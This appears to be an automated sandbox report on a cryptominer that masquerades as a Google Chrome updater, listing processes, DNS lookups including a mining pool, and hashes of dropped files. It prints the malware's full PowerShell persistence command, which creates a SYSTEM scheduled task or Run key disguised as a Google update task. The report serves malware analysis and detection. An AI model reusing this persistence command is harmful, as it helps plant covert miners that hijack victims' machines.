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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:456
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1800
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵PID:4932
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:3456
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:2472
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C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1564
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor1⤵
- Detects videocard installed
PID:1544
Network
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Remote address:8.8.8.8:53Request209.205.72.20.in-addr.arpaIN PTRResponse
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Remote address:8.8.8.8:53Request22.160.190.20.in-addr.arpaIN PTRResponse
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Remote address:8.8.8.8:53Request95.221.229.192.in-addr.arpaIN PTRResponse
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Remote address:8.8.8.8:53Request157.123.68.40.in-addr.arpaIN PTRResponse
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Remote address:8.8.8.8:53Request15.164.165.52.in-addr.arpaIN PTRResponse
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Remote address:8.8.8.8:53Request18.134.221.88.in-addr.arpaIN PTRResponse18.134.221.88.in-addr.arpaIN PTRa88-221-134-18deploystaticakamaitechnologiescom
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Remote address:8.8.8.8:53Requestpool.hashvault.proIN AResponsepool.hashvault.proIN A95.179.241.203pool.hashvault.proIN A45.76.89.70
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Remote address:8.8.8.8:53Request70.89.76.45.in-addr.arpaIN PTRResponse70.89.76.45.in-addr.arpaIN PTR45768970vultrusercontentcom
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Remote address:8.8.8.8:53Request79.121.231.20.in-addr.arpaIN PTRResponse
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Remote address:8.8.8.8:53Request194.178.17.96.in-addr.arpaIN PTRResponse194.178.17.96.in-addr.arpaIN PTRa96-17-178-194deploystaticakamaitechnologiescom
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Remote address:8.8.8.8:53Request43.229.111.52.in-addr.arpaIN PTRResponse
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Remote address:8.8.8.8:53Request180.178.17.96.in-addr.arpaIN PTRResponse180.178.17.96.in-addr.arpaIN PTRa96-17-178-180deploystaticakamaitechnologiescom
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Remote address:8.8.8.8:53Request1.173.189.20.in-addr.arpaIN PTRResponse
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72 B 158 B 1 1
DNS Request
209.205.72.20.in-addr.arpa
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72 B 158 B 1 1
DNS Request
22.160.190.20.in-addr.arpa
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73 B 144 B 1 1
DNS Request
95.221.229.192.in-addr.arpa
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72 B 146 B 1 1
DNS Request
157.123.68.40.in-addr.arpa
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72 B 146 B 1 1
DNS Request
15.164.165.52.in-addr.arpa
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72 B 137 B 1 1
DNS Request
18.134.221.88.in-addr.arpa
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64 B 96 B 1 1
DNS Request
pool.hashvault.pro
DNS Response
95.179.241.20345.76.89.70
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70 B 116 B 1 1
DNS Request
70.89.76.45.in-addr.arpa
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72 B 158 B 1 1
DNS Request
79.121.231.20.in-addr.arpa
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72 B 137 B 1 1
DNS Request
194.178.17.96.in-addr.arpa
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72 B 158 B 1 1
DNS Request
43.229.111.52.in-addr.arpa
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72 B 137 B 1 1
DNS Request
180.178.17.96.in-addr.arpa
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71 B 157 B 1 1
DNS Request
1.173.189.20.in-addr.arpa
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
495KB
MD596d7d517e370cab03eadbb72c3954794
SHA196868e87560c7bc40e3623dd44867464cca11655
SHA25610424aa0f169add77a70cdbff556bbb88a0d4b3b44a858775711c0bddc6c0c7c
SHA5121e77ff7e6ee3834d109aa3edf371b87ba46043b4928badeb1c69e3b23fd84fd20c313bca59c137aaa10ad8905c951f55e85accd52cef52dd96e8a2c1b93fc6f9
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Filesize
237KB
MD561df3840929983db3f93f1cf1566bfa2
SHA14a0de93ed41ff27daacd2fc3a53fcd5692d0e76e
SHA256394957a6e83979d60a8ed2e9ebafe651683faf18e93c0ba4544af8cef02bc0c3
SHA51226a89c2975bd2e425bd5c29a15809e6355e597e78bce1f208772e401c606ff4f9f4d2389c12a5f9c57fa52b0ce3c5efb1dcdb967cdd201867fa4834b596e45cd
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Filesize
226B
MD5fdba80d4081c28c65e32fff246dc46cb
SHA174f809dedd1fc46a3a63ac9904c80f0b817b3686
SHA256b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
SHA512b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
944B
MD5d28a889fd956d5cb3accfbaf1143eb6f
SHA1157ba54b365341f8ff06707d996b3635da8446f7
SHA25621e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45
SHA5120b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c
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Filesize
1KB
MD5acc422feeea9e2fc9eb6fa5704913a6d
SHA19fcbc5a362bce0e71100dc9007a71332528fbad6
SHA256241663fd7326f48a845c52b9ffcfdb34845a59ab271ec639c9f9af84df7b712d
SHA512f11c367a4bc5e4c4ccf3a95cf7dd9c5f0708473e86b99c759e5468b431693d4da6eeda7cc95e471e6e4132cf0450262627227160819936e5e176f493c178f89d
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize4KB
MD5bdb25c22d14ec917e30faf353826c5de
SHA16c2feb9cea9237bc28842ebf2fea68b3bd7ad190
SHA256e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
SHA512b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize1KB
MD5b42c70c1dbf0d1d477ec86902db9e986
SHA11d1c0a670748b3d10bee8272e5d67a4fabefd31f
SHA2568ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
SHA51257fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5